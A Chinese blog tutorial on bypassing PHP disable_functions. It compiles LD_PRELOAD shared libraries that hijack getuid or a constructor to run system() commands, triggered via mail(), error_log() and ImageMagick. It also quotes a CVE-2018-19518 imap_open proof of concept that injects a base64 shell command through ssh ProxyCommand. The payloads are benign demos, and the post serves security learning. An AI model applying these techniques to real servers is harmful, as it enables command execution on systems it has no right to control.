zoukankan      html  css  js  c++  java
  • disable_function绕过--利用LD_PRELOAD

    0x00 前言

    有时候直接执行命令的函数被ban了,那么有几种思路可以bypass

    1.使用php本身自带的能够调用外部程序的函数

    2.使用第三方插件入(如imagick)

    但是这两种无非就是利用php去调用外部的软件,再利用外面的软件执行shell

    0x01 LD_PRELOAD

    每个程序执行的时候会去动态链接库so文件里面找函数的位置,而我们的目的是让程序去执行我们自定义的动态链接库

    LD_PRELOAD这个全局变量指定的so文件会在每个程序本身的so文件之前加载

    export						#查看当前有的全局变量
    export LD_PRELOAD=./test.so	#将当前目录下的test.so文件加载到每个程序的动态链接库最前面
    

    一个程序执行了哪些函数,可以使用

    readelf -s /usr/bin/id
    readelf -s /usr/sbin/sendmail
    

    比如id中使用了getuid

        20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (2)
    

    那么编写个so文件

    test2.c

    #include <stdlib.h>
    #include <stdio.h>
       
    int getuid(){
      if(getenv("LD_PRELOAD") == NULL){
        return 0;
      }
      unsetenv("LD_PRELOAD");
      system("echo 'hello' >hello.txt");
    }
    

    编译生成so文件

    gcc -c -fPIC test2.c -o test2
    gcc --share test2 -o test2.so
    

    设置环境变量

    export LD_PRELOAD=./test2.so
    

    在php中如果把so文件传上去了后,可以利用putevn函数来设置全局变量

    0x02 php本身能够执行外部程序的函数

    能够触发外部命令的函数有mail(),error_log(),这2个函数都是会调用sendmail命令,这个sendmail软件是linux下用来发送邮件的(如果没有可用使用apt-get install sendmail安装)

    <?php
    putevn("LD_PRELOAD=./test2.so");
    mail("","","","");
    //error_log("err",1,"","");
    ?>
    

    假设没有sendmail,我新装的ubuntu就没有默认安装,那么php还有个的函数是2018年底爆出的一个CVE漏洞CVE-2018-19518imap_open()函数

    我也不知道这是不是php的锅,这个函数它是用来发送邮件的,它使用的是rsh连接远程的shell,但是在ubuntudebain下,它是使用的ssh

    而ssh的-oProxyCommand参数能够带命令的,比如

    ssh -oProxyCommand="touch test.txt" 10.10.10.10
    

    即使连接失败,本地也会创建个test.txt文件

    那么php中的写法

    <?php
    $exp = "echo test!test! > /tmp/test";
    $base64_exp = base64_encode($exp);
    $server = "x -oProxyCommand=echo	${base64_exp}|base64	-d|sh}";
    imap_open('{'.$server.':143/imap}INBOX', '', '') or die("
    
    Error: ".imap_last_error());
    ?>
    

    这里直借用参考文章的poc了,因为我本地不知道是不是php是最新的原因,报错说找不到imap_open这个函数

    0x03使用扩展插件

    这里不得不提下ImageMagick了,这个图片处理的插件历史版本有很多漏洞,也有getshell的漏洞,但是这里介绍的是通过它调用外部的软件ffmpeg,也是通过so文件来达到命令执行的,至于环境如何搭建可以上网查查

    ImageMagick处理以下文件的时候会调用ffmpeg(文件必须存在)

    wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
    

    查看了ffmpeg的函数表,没有getuid,因为对C语言我又是个智障状态,所以也不知道其他函数什么返回值,什么参数,重写要注意些啥,这里就讲个能通用的办法

    之前使用sendmail的时候是找的其中的一个函数getuid,因为软件执行的时候会去调用这个函数,那么我们目的是为了找到一个所有C程序都会去执行,并且都有的'函数',这个就是__attribute__((__constructor__))

    这个函数会所有程序在启动main之前100%调用,因此so文件的写法

    test3.c

    #include <stdlib.h>
    #include <stdio.h>
    
    __attribute__((__constructor__)) void angel(void){
      unsetenv("LD_PRELOAD");
      system("echo 'hello'");
    }
    
    

    在php中执行方法

    <?php
    	$img = Imagick("1.mp4");
    ?>
    

    0xff结语

    本来0ctf之后就会研究这个问题的,不知道为什么拖到现在,也算是填了个坑

    参考链接:

    https://xz.aliyun.com/t/4623

    https://cloud.tencent.com/developer/article/1379245

  • 相关阅读:
    java.sql.SQLException: Io 异常: Got minus one from a read call
    ORACLE 数据库名、实例名、ORACLE_SID的区别
    如何查看oracle的sid
    expdp impdp 数据库导入导出命令详解
    Oracle连接数过多释放机制
    oracle查看允许的最大连接数和当前连接数等信息
    世界是无限的、复杂的、运动的
    世界
    世界观和方法论是一致的,有怎样的世界观就有怎样的方法论
    运动着的物质世界是普遍联系和永恒发展的
  • 原文地址:https://www.cnblogs.com/sijidou/p/10816385.html
Copyright © 2011-2022 走看看